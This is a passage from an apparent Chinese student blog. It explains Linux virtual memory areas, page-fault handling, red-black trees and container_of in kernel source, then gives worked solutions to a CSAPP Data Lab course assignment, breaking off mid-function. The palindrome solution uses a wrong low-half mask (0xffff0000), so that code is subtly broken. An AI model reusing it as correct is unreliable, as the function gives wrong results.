为每个进程维护了一个单独的虚拟地址空间。\n操作系统给每个进程分配了一个地址空间，其布局如上图。“地址空间”是一个逻辑概念，定义了进程理论上可以访问的所有虚拟地址的范围；页表是一个物理数据结构，记录了地址空间中哪些区域已经被映射到物理内存。CPU在取指或者访问数据时，给出的是一个虚拟地址，并利用这个虚拟地址去查页表，从而去找到对应的物理内存。可以说，地址空间是对物理内存的抽象，是给CPU提供便利的。而具体的寻址还是需要页表和物理内存来实现。同时这样的抽象也为地址的合理性检查提供了便利。\n可以发现每个进程的地址空间分为两个部分：\n高地址处是内核空间，一部分是与进程相关的私有数据，如内核栈、进程控制块PCB、页表等等，这些在每个进程中是独立的，每个进程都不相同；另一部分则是内核代码和数据，这些则是每个进程共享的，具体的方式是每个进程的页表负责映射“高地址内核空间”的那些页表项，都指向物理内存中完全相同的那一页，对每个进程都一样。比如PCB就在这里。 低地址处是用户空间，包括.rodata,.bss,.data,.text段以及堆栈等等。 可以使用cat /proc/[PID]/maps来查看\n在Linux中，struct mm_struct *mm是整个进程用户态虚拟地址空间的总入口，包含页目录、虚拟内存区域链表等全部信息。如pgd_t *pgd是页目录的起始地址，在x86中会在利用这个值时保存在CR3寄存器中。\n9.2.1 Linux虚拟内存区域 # Linux 将虚拟内存组织成一些区域（也叫做段）的集合。一个区域(area)就是已经存在着的（已分配的）虚拟内存的连续片(chunk), 这些页是以某种方式相关联的。\n通过阅读linux源码发现在v6.1之前（不包含6.1），虚拟内存确实是按照csapp书中图上这样的组织方式进行的；而在v6.1及以后的版本中，mm_struct中不再有vm_area_struct，变为一个maple_tree的结构来管理虚拟空间。这里先看看书中所说版本的代码：\n在/include/linux/sched.h中定义了struct task_struct，可以在其中找到成员struct mm_struct *mm，也就是上图中的第一个指针；\n// /include/linux/sched.h struct task_struct { ... struct mm_struct\t*mm; ... } 在/include/linux/mm_types.h中定义了struct mm_struct，如下：\n// /include/linux/mm_types.h struct mm_struct { ... struct vm_area_struct *mmap;\t/* list of VMAs */ struct rb_root mm_rb; ... } 在/include/linux/mm_types.h中定义了struct vm_area_struct，如下：\n// /include/linux/mm_types.h struct vm_area_struct { unsigned long vm_start;\t/* Our start address within vm_mm. */ unsigned long vm_end;\t/* The first byte after our end address within vm_mm. */ /* linked list of VM areas per task, sorted by address */ struct vm_area_struct *vm_next, *vm_prev; struct rb_node vm_rb; ... struct mm_struct *vm_mm;\t/* The address space we belong to. */ pgprot_t vm_page_prot;\t/* Access permissions of this VMA. */ unsigned long vm_flags;\t/* Flags, see mm.h. */ } 可以发现这些区域(vm_area)是以链表方式组织的，且更具体是使用红黑树组织的，可以发现在mm_struct中有嵌入的struct rb_node mm_rb；在vm_area_struct中有嵌入的struct rb_node vm_rb。事实上，在后面提到的缺页处理中查看某个虚拟地址是否合法的时候，利用红黑树的结构能够快速地判断，且mm_rb作为根节点、vm_rb作为其余节点进行查询。有关红黑树的具体内容见9.2.3的内容。\n9.2.2 Linux缺页异常处理 # 假设MMU在试图翻译某个虚拟地址A时，触发了一个缺页。这个异常导致控制转移到内核的缺页处理程序，处理程序随后就执行下面的步骤:\n(1) 虚拟地址A是合法的吗？换句话说，A在某个区域结构定义的区域内吗？为了回答这个问题，缺页处理程序搜索区域结构的链表，把A和每个区域结构(vm_area_struct)中的vm_start和vm_end做比较。如果这个指令是不合法的，那么缺页处理程序就触发一个段错误，从而终止这个进程。这个情况在下图中标识为\u0026quot;1\u0026quot;。 因为一个进程可以创建任意数量的新虚拟内存区域，所以顺序搜索区域结构的链表花销可能会很大。因此在实际中，Linux在链表中构建了一棵红黑树，并在这棵树上进行查找。\n(2) 试图进行的内存访问是否合法？换句话说，进程是否有读、写或者执行这个区域内页面的权限？例如，这个缺页是不是由一条试图对这个代码段里的只读页面进行写操作的存储指令造成的？这个缺页是不是因为一个运行在用户模式中的进程试图从内核虚拟内存中读取字造成的？如果试图进行的访问是不合法的，那么缺页处理程序会触发一个保护异常，从而终止这个进程。这种情况在下图中标识为\u0026quot;2\u0026quot;。\n(3) 此刻，内核知道了这个缺页是由于对合法的虚拟地址进行合法的操作造成的。它是这样来处理这个缺页的:选择一个牺牲页面，如果这个牺牲页面被修改过，那么就将它交换出去，换人新的页面并更新页表。当缺页处理程序返回时，CPU重新启动引起缺页的指令，这条指令将再次发送A到MMU。这次，MMU就能正常地翻译A，而不会再产生缺页中断了。\n9.2.3 红黑树在虚拟内存中的应用浅析 # 注：以下代码均来自于Linux v5.0。\n写这一小部分的动机是原书上提到了：\n我想看看在源码中怎么实现红黑树的，就去https://elixir.bootlin.com/linux中搜索了一下，具体如下：\n9.2.3.1 红黑树节点的定义 # 在/include/linux/rbtree.h中给出了节点的定义：\n// /include/linux/rbtree.h struct rb_node { unsigned long __rb_parent_color; struct rb_node *rb_right; struct rb_node *rb_left; } __attribute__((aligned(sizeof(long)))); /* The alignment might seem pointless, but allegedly CRIS needs it */ struct rb_root { struct rb_node *rb_node; }; // 后续还有很多操作函数的声明 可以发现一个节点的成员有：父亲节点的指针、左右子孩子的指针，并且父亲节点的颜色作为第三位与父节点指针组合在了一起。原因是节点地址按照64位对齐，那么每个节点的地址的第三位势必都是0，而颜色只有红黑两种，只需一位就可以进行标记，那么就有了__rb_parent_color = rb_parent_addr | rb_parent_color。想要取出来父节点地址也很简单，只需要把低3位置0即可。（这里和动态内存分配中的隐式空闲链表的头部尾部设计是类似的，由于空闲块地址都是64位对齐的，低三位必定都是0，那么就可以利用这3位来标记当前块是空闲的还是已分配的了，具体见下图）\n此外在这个文件中还有一些比较关键的宏定义，例如在文件/include/linux/kernel.h中所定义的container_of宏：\n// /include/linux/kernel.h /** * container_of - cast a member of a structure out to the containing structure * @ptr:\tthe pointer to the member. * @type:\tthe type of the container struct this is embedded in. * @member:\tthe name of the member within the struct. * */ #define container_of(ptr, type, member) ({\t\\ void *__mptr = (void *)(ptr);\t\\ BUILD_BUG_ON_MSG(!__same_type(*(ptr), ((type *)0)-\u0026gt;member) \u0026amp;\u0026amp;\t\\ !__same_type(*(ptr), void),\t\\ \u0026#34;pointer type mismatch in container_of()\u0026#34;);\t\\ ((type *)(__mptr - offsetof(type, member))); }) 这个宏的名称就很直白：取某某的容器，具体地看，其作用是利用ptr指针减去该指针到其所处结构体起始地址的偏移量(offsetof(type, member))，以获得该指针所处结构体的起始地址的指针。这个宏解决的问题是：只知道结构体中某个成员的指针，如何获得整个结构体的指针？运算方式就是：\n$$\raddr_{结构体地址} = addr_{成员地址} - offsetof(type, member)\r$$其中BUILD_BUG_ON_MSG：如果不匹配，编译时报错；((type *)0)-\u0026gt;member：使用空指针访问成员，仅在编译时，不实际执行。而offsetof是编译器内置功能，计算成员在结构体中的偏移量。({ }) 是一个表达式，有返回值，保持宏的表达式的特性可以赋值。\n此外，该文件还对其进行了一层包装：\n// /include/linux/rbtree.h #define\trb_entry(ptr, type, member) container_of(ptr, type, member) 这样的好处是，可以将红黑树的节点嵌入到其他数据结构当中，也就是说可以将一个struct rb_node *rb_node节点作为成员放在其他数据结构中。这样的好处是，当我们在红黑树中查找到一个节点时，可以通过rb_entry宏来获取包含该节点的更大结构体的指针，从而访问该结构体的其他成员。在进行红黑树操作时，这种方式非常有用，因为我们通常需要访问包含节点的结构体的其他信息，而不仅仅是节点本身。下面可给出一个具体的例子来说明：\nstruct my_data { int value; struct rb_node node; // 红黑树节点作为成员 }; // 假设我们有一个指向红黑树节点的指针 rb_node_ptr struct my_data *data_ptr = rb_entry(rb_node_ptr, struct my_data, node); 在这个例子中，rb_entry 宏将 rb_node_ptr 转换为指向包含该节点的 my_data 结构体的指针 data_ptr，从而可以访问 my_data 结构体中的其他成员（如 value）。而这些其他成员正好可以作为红黑树节点的附加信息使用，比如在插入节点时进行的比较规则。\n这里突然想到这个宏与cpp类的this指针很相似，this指针在编译器层面会将结构体的地址作为第一个参数传递给非静态成员函数，相当于是已知结构体的地址了；而这里的宏是需要程序员显式调用的，是利用节点的地址反推出其所在结构体的地址的。\n9.2.3.2 红黑树在虚拟内存中的应用 # 我找到了在9.2.2中提到的缺页异常处理的代码逻辑，位于/arch/x86/mm/fault.c中，下面省略非常繁杂的判断部分只给出缺页处理中可能会遇到的三种情况的部分（段错误、保护异常、合法缺页）：\n// /arch/x86/mm/fault.c /* * Handle faults in the user portion of the address space. Nothing in here * should check X86_PF_USER without a specific justification: for almost * all purposes, we should treat a normal kernel access to user memory * (e.g. get_user(), put_user(), etc.) the same as the WRUSS instruction. * The one exception is AC flag handling, which is, per the x86 * architecture, special for WRUSS. */ static inline void do_user_addr_fault(struct pt_regs *regs, unsigned long error_code, unsigned long address) { struct vm_area_struct *vma; struct task_struct *tsk; struct mm_struct *mm; vm_fault_t fault; unsigned int flags = FAULT_FLAG_DEFAULT; tsk = current; mm = tsk-\u0026gt;mm; ... vma = find_vma(mm, address); // 查找包含address的VMA // 情况1：没有找到包含address的VMA，触发段错误 if (unlikely(!vma)) { bad_area(regs, hw_error_code, address); return; } // 情况2：正常缺页，访问未加载的有效页面 if (likely(vma-\u0026gt;vm_start \u0026lt;= address)) goto good_area; if (unlikely(!(vma-\u0026gt;vm_flags \u0026amp; VM_GROWSDOWN))) { bad_area(regs, hw_error_code, address); return; } if (unlikely(expand_stack(vma, address))) { bad_area(regs, hw_error_code, address); return; } /* * Ok, we have a good vm_area for this memory access, so * we can handle it.. */ good_area: if (unlikely(access_error(hw_error_code, vma))) { // 情况3：VMA 存在，但访问权限不合法，触发保护异常 bad_area_access_error(regs, hw_error_code, address, vma); return; } fault = handle_mm_fault(vma, address, flags); ... } 在这个函数中有几个关键点：\n(1) likely, unlikely # likely 和 unlikely 宏的定义如下：\n#define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0) __builtin_expect 是 GCC 的内置函数，用来对选择语句的判断条件进行优化，常用于一个判断条件经常成立（如 likely）或经常不成立（如 unlikely）的情况。__builtin_expect 的函数原型为 long __builtin_expect(long exp, long c)，返回值为完整表达式 exp 的值，它的作用是期望表达式 exp 的值等于 c。如果 exp == c 条件成立的机会占绝大多数，那么性能将会得到提升，否则性能反而会下降。\n因此，if (unlikely(a)) 和 if (likely(a)) 的执行等价于 if (a) ，区别在于 unlikely 和 likely 函数的加入会优化编译。这样做的目的可以提高 CPU 指令判断效率，减少指令跳转而降低性能。\nif (likely(a \u0026gt; b)) { // 这里的代码更有可能被执行 fun1(); } else { // 这里的代码不太可能被执行 fun2(); } 此处参考来源：https://blog.csdn.net/ludaoyi88/article/details/113832126\n(2) vma(virtual memory area)是如何找到的 # 查看函数find_vma，来自文件/mm/mmap.c/：\n// /mm/mmap.c /* Look up the first VMA which satisfies addr \u0026lt; vm_end, NULL if none. */ struct vm_area_struct *find_vma(struct mm_struct *mm, unsigned long addr) { struct rb_node *rb_node; struct vm_area_struct *vma; /* Check the cache first. */ vma = vmacache_find(mm, addr); if (likely(vma)) return vma; rb_node = mm-\u0026gt;mm_rb.rb_node; // 红黑树根节点：mm_rb.rb_node while (rb_node) { struct vm_area_struct *tmp; tmp = rb_entry(rb_node, struct vm_area_struct, vm_rb); if (tmp-\u0026gt;vm_end \u0026gt; addr) { vma = tmp; if (tmp-\u0026gt;vm_start \u0026lt;= addr) break; rb_node = rb_node-\u0026gt;rb_left; } else rb_node = rb_node-\u0026gt;rb_right; } if (vma) vmacache_update(addr, vma); return vma; } 函数功能是查找包含地址 addr 的 vma，查找第一个满足 addr \u0026lt; vm_end 的 vma，返回找到的 vma 或 NULL。这样设计的原理来自于将红黑树节点嵌入在两个数据结构中：\n// mm_struct 中的定义 struct mm_struct { struct rb_root mm_rb; // 红黑树的根节点 // ... }; // vm_area_struct 中的定义 struct vm_area_struct { // ... struct rb_node vm_rb; // 红黑树节点，嵌入在VMA中 // ... }; mm-\u0026gt;mm_rb是VMA红黑树的入口点，所有的vma都通过vm_rb链接成红黑树，利用红黑树节点的遍历规则，加上rb_entry宏获得结构体地址，借助成员变量vm_start和vm_end来进行比较规则，实现查到满足条件的vma。我觉得这个函数是比较有精髓的一个了，红黑树在虚拟内存中的作用很集中地体现在这个函数当中。\n(3) 在情况2的情况下正常缺页 # 此时进入good_area，进入/mm/memory.c: handle_mm_fault() -\u0026gt; /mm/memory.c: __handle_mm_fault() -\u0026gt; /mm/memory.c: handle_pte_fault()，这里面会进一步检查PTE的相关情况，并确定所需要的信息是应该从交换区来、还是从内存来等等，具体的代码在handle_pte_fault()中：\n... if (!vmf-\u0026gt;pte) { if (vma_is_anonymous(vmf-\u0026gt;vma)) return do_anonymous_page(vmf); // 匿名页缺页，如malloc后的第一次写 else return do_fault(vmf); // 文件映射的缺页，如mmap后的第一次读 } if (!pte_present(vmf-\u0026gt;orig_pte)) return do_swap_page(vmf); // PTE有值，但是不在内存，从交换区找 if (pte_protnone(vmf-\u0026gt;orig_pte) \u0026amp;\u0026amp; vma_is_accessible(vmf-\u0026gt;vma)) return do_numa_page(vmf); // NUMA迁移 vmf-\u0026gt;ptl = pte_lockptr(vmf-\u0026gt;vma-\u0026gt;vm_mm, vmf-\u0026gt;pmd); spin_lock(vmf-\u0026gt;ptl); entry = vmf-\u0026gt;orig_pte; if (unlikely(!pte_same(*vmf-\u0026gt;pte, entry))) goto unlock; if (vmf-\u0026gt;flags \u0026amp; FAULT_FLAG_WRITE) { if (!pte_write(entry)) return do_wp_page(vmf); // COW缺页，如fork后的写 entry = pte_mkdirty(entry); } ... 9.2.3.3 版本变化 # 我发现自从v6.1以后，mm_struct的结构发生了变化，没有了struct rb_root mm_rb;，而变为：struct maple_tree mm_mt;。很明显从此以后没有再使用红黑树进行存储虚拟内存块了，而是转向了B树的变体：Maple Tree。经过查询ai得知，对比有以下好处：\n红黑树的局限性:\n缓存不友好：红黑树的节点分散在内存中 锁争用严重：全局锁影响并发性能 范围查询低效：查找重叠区间的操作复杂 内存开销大：每个 VMA 需要额外的指针 Maple Tree 的优势:\n更好的缓存局部性：节点内多个元素连续存储 更细粒度的锁：读写锁分离，支持 RCU 高效的范围操作：原生支持区间查询 内存效率更高：减少指针开销 在/mm/mmap.c中，find_vma函数也发生了变化：\n// /mm/mmap.c /** * find_vma() - Find the VMA for a given address, or the next VMA. * @mm: The mm_struct to check * @addr: The address * * Returns: The VMA associated with addr, or the next VMA. * May return %NULL in the case of no VMA at addr or above. */ struct vm_area_struct *find_vma(struct mm_struct *mm, unsigned long addr) { unsigned long index = addr; mmap_assert_locked(mm); return mt_find(\u0026amp;mm-\u0026gt;mm_mt, \u0026amp;index, ULONG_MAX); } mt_find函数在/lib/maple_tree.c中，具体内容后续有时间再学习吧。\n总结： 我在之前学习的数据结构与算法中，往往都是构建一颗完成的树，树的每个节点都存储好需要的数据；而在linux中，是“反过来的”，即定义数据结构的时候，把树的节点作为成员放入到其中。那如何找到某个节点所处的结构体指针呢？可以用container_of宏来完成。在虚拟内存块的管理中，linux在6.1之前的版本中使用了：\nmm_struct → mm_rb (红黑树根) → vm_area_struct (通过vm_rb链接) 而在后续中则使用了B树的变体：\nmm_struct → mm_mt (Maple Tree根) → vm_area_struct (通过Maple Tree节点) 这也说明CSAPP这本书参考的linux版本较早。\n","date":"2026/02/23","externalUrl":null,"permalink":"/os/rb-tree_in_linux/","section":"Operating Systems","summary":"红黑树在Linux中的定义声明，和简单的使用方法；对container_of宏的解析","title":"Linux虚拟内存系统与红黑树的应用浅析","type":"os"},{"content":"","externalUrl":null,"permalink":"/tags/","section":"","summary":"","title":"","type":"tags"},{"content":"这里是北京大学2025-2026春季学期的《操作系统》(Operating Systems)课程的个人笔记，文字参考来源分为两部分：\n第一部分是老师提供的课件内容 第二部分是教材：《Operating Systems: Three Easy Pieces》, by Remzi H. Arpaci-Dusseau and Andrea C. Arpaci-Dusseau, 2018. 在线pdf 本文将对两个部分内容进行总结整理，总体思路是第一部分，第二部分对第一部分进行补充。\n标有⭐的标题是具有总结性质的文字，是在经过几次思考后才真真正正理解的东西。\n","externalUrl":null,"permalink":"/os/study_notes/","section":"Operating Systems","summary":"课堂和阅读教材的笔记，不包含实验教程","title":"[[NOTES]] 操作系统学习笔记","type":"os"},{"content":" PKU 2025 Data Lab 个人解析 # 在做这份lab之前，我有做过2023年的data lab和cmu的原版lab，这两套题目差别不大，都是换汤不换药。不过今年的题目在整数部分新增了几个题目，我个人感觉出的是极其“诡异”的，颇有奥数题的感觉，似乎是有点偏离datalab题目的本意了。浮点数部分几乎与往年无变化。\n本人在各个函数实现中可能采用的并不是最好的方法，使用的操作符数也不是最优的（甚至可能是相当繁琐累赘的），但是一方面这有助于我的理解，另一方面在卷操作数目上个人觉得是没有太大意义的。（其实是本人能力不够）\n个人觉得有难度甚至有点\u0026quot;诡异\u0026quot;的函数有：fullAdd,bitParity,palindrome,modThree。\n以下是各个puzzle的名称和简要描述：\n位级操作函数 函数名 描述 难度 (Rating) 最大操作数 (Max Ops) bitOr(x,y) 仅使用 ~ 和 \u0026amp; 实现 x|y 1 8 upperBits(n) 将高 n 位填充为 1 1 10 fullAdd(x,y) 仅使用位操作实现 4 位加法 2 30 rotateLeft(x,n) 将 x 向左循环移位 n 位 3 25 bitParity(x) 如果 x 包含奇数个 0 则返回 1 4 20 palindrome(x) 如果 x 的二进制形式是回文数则返回 1 4 40 算术函数 函数名 描述 难度 (Rating) 最大操作数 (Max Ops) negate(x) 计算 -x 2 5 oneMoreThan(x,y) 如果 y 比 x 大 1 则返回 1，否则返回 0 2 15 ezThreeFourths(x) 计算 x 乘以 3/4，并向 0 取整 3 12 isLess(x, y) 如果 x \u0026lt; y 则返回 1，否则返回 0 3 24 satMu12(x) 将 x 乘以 2，如果溢出则饱和到 T_min 或 T_max 3 20 modThree(x) 不使用 % 计算 x mod 3 4 60 浮点函数 函数名 描述 难度 (Rating) 最大操作数 (Max Ops) float_half(x) 计算 x/2 4 30 float_i2f(x) 将整数 x 转换为浮点数 4 30 float64_f2i(x) 将双精度浮点数 x 转换为整数 4 20 float_pwr2(x) 计算 2^x 4 30 写前须知 # 可以参考这个学长对2023年题目解析中该部分的描述，很详细全面，从文件的解压缩到程序测验的方法都有涉及。\n个人解析 # bitOr # /* * bitOr - x|y using only ~ and \u0026amp; * Example: bitOr(6, 5) = 7 * Legal ops: ~ \u0026amp; * Max ops: 8 * Rating: 1 */ int bitOr(int x, int y) { return ~(~x \u0026amp; ~y); } 注意到只有0|0的时候结果是0，其余都是1，考虑到只有1\u0026amp;1的时候结果是1，完全相反，那就可以先对x和y分别取反，再取和，将结果再取反即可。\nupperBits # /* * upperBits - pads n upper bits with 1\u0026#39;s * You may assume 0 \u0026lt;= n \u0026lt;= 32 * Example: upperBits(4) = 0xF0000000 * Legal ops: ! ~ \u0026amp; ^ | + \u0026lt;\u0026lt; \u0026gt;\u0026gt; * Max ops: 10 * Rating: 1 */ int upperBits(int n) { int iszero = !n; int flag = ~iszero + 1; return (~flag \u0026amp; (1 \u0026lt;\u0026lt; 31) \u0026gt;\u0026gt; (n + (~1)+1)); // | (flag \u0026amp; 0); } 这里需要用到逻辑右移和算术右移的知识。\n逻辑右移，没有逻辑，管你什么符号位，无脑在高位补0。 算术右移，根据有符号数和无符号数来决定，高位补的是原本的最高位数字。 一些常用的技巧是，\n构造Tmin（有符号数最小负值）：1 \u0026lt;\u0026lt; 31；如果想要高k位都是1、而低位都是0的数字：1 \u0026lt;\u0026lt; 31 \u0026gt;\u0026gt; (k - 1)（注意是k-1位），这里是因为左移31位后最高位已经是1，再右移高位会补1；如果想要高k位都是0、而低位都是1的数字，只需要将前面的数字取反~即可。 构造全为1的数：~1 + 1，原因是对1取反后得到除了最低位都是1的数，再加上1补上最低位就全为1了。其实，全为1的数是-1，相当于对1取反加一。在分类讨论中很常用（见下）。 这道题的整体思路是上述方法，但是当n=0时不适用，因此单独拿出来讨论。首先判断n是不是0，使用!n，n为0时iszero是1。然后用flag来作为分类讨论答案的掩码。这里巧妙的地方在于，当iszero为1时，flag是32位全是1的值；当iszero为0时，flag是32位全为0的值。\n这样，我们返回的结果的格式就是：(flag \u0026amp; ans1) | (~flag \u0026amp; ans2)，正好对应两种情况的答案。其中ans1是n为0时，答案是0；ans2是n不为0时，答案是(1 \u0026lt;\u0026lt; 31) \u0026gt;\u0026gt; (n + (~1)+1)。由于一个结果是0，可以把第一部分省去，结果不变。\nfullAdd # /* * fullAdd - 4-bits add using bit-wise operations only. * (0 \u0026lt;= x, y \u0026lt; 16) * Example: fullAdd(12, 7) = 3, * fullAdd(7, 8) = 15, * Legal ops: ~ | ^ \u0026amp; \u0026lt;\u0026lt; \u0026gt;\u0026gt; * Max ops: 30 * Rating: 2 */ int fullAdd(int x, int y) { // 位运算作用在两个整数之间，实际上对单个位的操作是不会影响到其余位的， // 每个位取异或是加法之后的值，而取and是是否要进位，进位带到高位， // 所以把整体and，然后左移一位，异或，就是完成了加法操作， // 但是又有可能进位之后还要进位，最多操作四次（取整体and），那就暴力完成 int base1 = x ^ y, up1 = (x \u0026amp; y) \u0026lt;\u0026lt; 1; int base2 = base1 ^ up1, up2 = (base1 \u0026amp; up1) \u0026lt;\u0026lt; 1; int base3 = base2 ^ up2, up3 = (base2 \u0026amp; up2) \u0026lt;\u0026lt; 1; int base4 = base3 ^ up3; //up4 无所谓，反正只要最后4位 int masklo4 = ~((1 \u0026lt;\u0026lt; 31) \u0026gt;\u0026gt; 27); return base4 \u0026amp; masklo4; } 这道题借助了ai的思路，没有自己想出。\n这道题让我联想到在cf上的位运算的题目： SUMdamental Decomposition 和 Bitwise Balancing。其实需要理解的是位运算是在位上的操作，单个位置上的运算不会对旁边的位造成影响比如担心进位之类的（当然这里说的是\u0026amp; | ^这些，如果是加法减法会有影响）。\n对于二进制的加法，在不考虑进位的情况下，加法完成后的数字是符合异或操作的，比如1+1=10，剩下的0也是1^1的结果。而进位的数字是符合和操作的，比如刚才进位的1就是1\u0026amp;1的结果。\n对于多位二进制数字，可以按照从低到高逐位模拟相加的方式完成加法，即先将低位取异或得到本位数字，取和得到进位数字；然后第二低位取异或，将结果再与刚刚的进位取异或，得到本位结果，与刚刚的进位取和，得到本位进位数字\u0026hellip;这样固然可以但是在这里无法用循环完成，不合适。因此考虑并行的方式，即直接对所有位进行计算。\n我们可以直接对两个数字x和y取异或，这样的结果是，对于x和y的 各个位 上取异或，也就得到了各个位上在不考虑进位情况下的加法得到的数字。结果，对x和y取和，得到 各个位 上的进位，把它左移一位，即可进行下一轮的取异或操作（第二轮加）。那要进行几轮呢？那就要看取和操作得到的进位会影响的第几轮。显然，在取和时，第四及以上位产生的进位都不会影响结果（比如x=0000 1010, y = 0000 1010,相加后得到0001 0100，第五位是1，不会影响我的四位数字计算，截断了）；而在第1到3位产生的进位则会影响后续计算。第一轮中低第123位会影响；第二轮中低第23位会影响（因为上一轮产生的进位的第一位必然是0，也就是说有进位作用在第一位上，那取and必然不会产生1）；第三轮中低第3位会影响；之后即可完成。\nrotateLeft # /* * rotateLeft - Rotate x to the left by n * Can assume that 0 \u0026lt;= n \u0026lt;= 31 * Examples: rotateLeft(0x87654321,4) = 0x76543218 * Legal ops: ~ \u0026amp; ^ | + \u0026lt;\u0026lt; \u0026gt;\u0026gt; ! * Max ops: 25 * Rating: 3 */ int rotateLeft(int x, int n) { // 把高位n字节移到低位n字节，需要右移字节数shift2lo=32-n， // 右移后需要消除高shift2lo符号位的影响，构造00..011，也就是11..100再取反, // 其中前面有shift2lo个1，对1\u0026lt;\u0026lt;31右移(shift2lo-1)位 int shift2lo = 32 + (~n+1); int mask_for_shift = ~((1 \u0026lt;\u0026lt; 31) \u0026gt;\u0026gt; (shift2lo + ~1+1)); int hi2lo = (x \u0026gt;\u0026gt; shift2lo) \u0026amp; mask_for_shift; int lo2hi = x \u0026lt;\u0026lt; n; return lo2hi | hi2lo; } 在注释中已经有解释了，重点是高字节右移到低字节时，由于算术右移导致的高位产生的一堆1怎么处理掉。方法是构造00..011..1的掩码取and。\nbitParity # /* * bitParity - returns 1 if x contains an odd number of 0\u0026#39;s * Examples: bitParity(5) = 0, bitParity(7) = 1 * Legal ops: ! ~ \u0026amp; ^ | + \u0026lt;\u0026lt; \u0026gt;\u0026gt; * Max ops: 20 * Rating: 4 */ int bitParity(int x) { // 0 = 0, 1=1, 2=1, 3=2, 4=1, 5=2, 6=2, 7=3, 8=1, 9=2, // 0x0000 0101 0x0101 0x00 0x0 // 0x0000 0111 0x0111 0x10 0x1 // 0x1001 0111 0x1110 0x01 0x1 int x1 = (x \u0026gt;\u0026gt; 16) ^ x; int x2 = (x1 \u0026gt;\u0026gt; 8) ^ x1; int x3 = (x2 \u0026gt;\u0026gt; 4) ^ x2; int x4 = (x3 \u0026gt;\u0026gt; 2) ^ x3; int x5 = (x4 \u0026gt;\u0026gt; 1) ^ x4; int ans = x5 \u0026amp; 1; return ans; } 实际上求的是 奇偶校验位（parity bit），也就是 x 的 所有二进制位 XOR 结果。奇数个0也就等同于奇数个1。\n而XOR可以任意重排和分组（具有交换律和结合律），所以可以采用二分的思维，将32位不断折叠成16位、8位、4位、2位、1位，最终的那1位就是所有位取异或的结果。\npalindrome # /* * palindrome - return 1 if x is palindrome in binary form, * return 0 otherwise * A number is palindrome if it is the same when reversed * YOU MAY USE BIG CONST IN THIS PROBLEM, LIKE 0xFFFF0000 * YOU MAY USE BIG CONST IN THIS PROBLEM, LIKE 0xFFFF0000 * YOU MAY USE BIG CONST IN THIS PROBLEM, LIKE 0xFFFF0000 * Example: palindrome(0xff0000ff) = 1, * palindrome(0xff00ff00) = 0 * Legal ops: ~ ! | ^ \u0026amp; \u0026lt;\u0026lt; \u0026gt;\u0026gt; + * Max ops: 40 * Rating: 4 */ int palindrome(int x) { // 考虑把x反转然后异或，反转操作： // 不断二分并互换，第一步是归并排序的划分操作，每次划分都把相邻左右互换位置 // 不要用掩码逐个提取，采用类似于4位加法的方式，整体取出 int maskhi16 = 0xffff0000, masklo16 = 0xffff0000; int hi16lo = ((x \u0026amp; maskhi16) \u0026gt;\u0026gt; 16) \u0026amp; masklo16; int lo16hi = x \u0026lt;\u0026lt; 16; int trans16 = lo16hi | hi16lo; int maskhi8 = 0xff00ff00, masklo8 = 0x00ff00ff; int hi8lo = ((trans16 \u0026amp; maskhi8) \u0026gt;\u0026gt; 8) \u0026amp; masklo8; int lo8hi = (trans16 \u0026amp; masklo8) \u0026lt;\u0026lt; 8; int trans8 = hi8lo | lo8hi; int maskhi4 = 0xf0f0f0f0, masklo4 = 0x0f0f0f0f; int hi4lo = ((trans8 \u0026amp; maskhi4) \u0026gt;\u0026gt; 4) \u0026amp; masklo4; int lo4hi = (trans8 \u0026amp; masklo4) \u0026lt;\u0026lt; 4; int trans4 = hi4lo | lo4hi; int maskhi2 = 0xcccccccc, masklo2 = 0x33333333; int hi2lo = ((trans4 \u0026amp; maskhi2) \u0026gt;\u0026gt; 2) \u0026amp; masklo2; int lo2hi = (trans4 \u0026amp; masklo2) \u0026lt;\u0026lt; 2; int trans2 = hi2lo | lo2hi; int maskhi1 = 0xaaaaaaaa, masklo1 = 0x55555555; int hi1lo = ((trans2 \u0026amp; maskhi1) \u0026gt;\u0026gt; 1) \u0026amp; masklo1; int lo1hi = (trans2 \u0026amp; masklo1) \u0026lt;\u0026lt; 1; int trans1 = hi1lo | lo1hi; int iseq = !(trans1 ^ x); return iseq; } 相当诡异的题目，不过整体的思维和上面的fullAdd差不多，都是对所有位同时进行位操作的宏观思维。\n我们的目标是得到反转后的二进制字符串，如何实现反转操作？这里使用fullAdd函数中整体位运算和bitParity二分 这两个思维的结合。我们首先将前后16位交换；然后在这两部分中，各自将前后8位交换；然后在这四部分中，各自将前后4位交换；在得到的八部分中各自交换前后2位；最后相邻两位各自交换，就得到反转结果。可以自己尝试举个例子看看正确性。\n该题允许大整数，意图就是取出各个部分，构造掩码。代码中按照上述流程构造掩码、取各自的位、通过左移右移实现互换、在右移时通过and低位的掩码来消除高位产生的1。\n虽说很诡异，但是整个思路是很美的，助教也是用心设计这个题目了，很牛。\nnegate # /* * negate - return -x * Example: negate(1) = -1. * Legal ops: ! ~ \u0026amp; ^ | + \u0026lt;\u0026lt; \u0026gt;\u0026gt; * Max ops: 5 * Rating: 2 */ int negate(int x) { return ~x+1; } 相反数：取反加一。\noneMoreThan # /* * oneMoreThan - return 1 if y is one more than x, and 0 otherwise * Examples oneMoreThan(0, 1) = 1, oneMoreThan(-1, 1) = 0 * Legal ops: ~ \u0026amp; ! ^ | + \u0026lt;\u0026lt; \u0026gt;\u0026gt; * Max ops: 15 * Rating: 2 */ int oneMoreThan(int x, int y) { // y = x + 1, x+1+(~y+1)==0 // 如果x正，y负，则必为0 -\u0026gt; diff=1 flag=0xffffffff int sx = (x \u0026gt;\u0026gt; 31) \u0026amp; 1; int sy = (y \u0026gt;\u0026gt; 31) \u0026amp; 1; int diff = (sx ^ 1) \u0026amp; (sx ^ sy); int flag = diff; int ans = x + 1 + (~y+1); return !(flag | ans); // return (!flag \u0026amp; !ans); } y比x多1，也就是y-(x+1)=0，这是整体判断标准。考虑到正负性，如果x正，y负，答案必定是0。因此首先取出x和y的符号位，然后通过异或操作得到diff，如果diff是1，说明x正y负。接着计算ans是否是0，我们的答案需要是flag和ans同时为0。\nezThreeFourths # /* * ezThreeFourths - multiplies by 3/4 rounding toward 0, * Should exactly duplicate effect of C expression (x*3/4), * including overflow behavior. * Examples: ezThreeFourths(11) = 8 * ezThreeFourths(-9) = -6 * ezThreeFourths(1073741824) = -268435456 (overflow) * Legal ops: ! ~ \u0026amp; ^ | + \u0026lt;\u0026lt; \u0026gt;\u0026gt; * Max ops: 12 * Rating: 3 */ int ezThreeFourths(int x) { int mul = (x \u0026lt;\u0026lt; 1) + x; int bias = 3; int sign = (mul \u0026gt;\u0026gt; 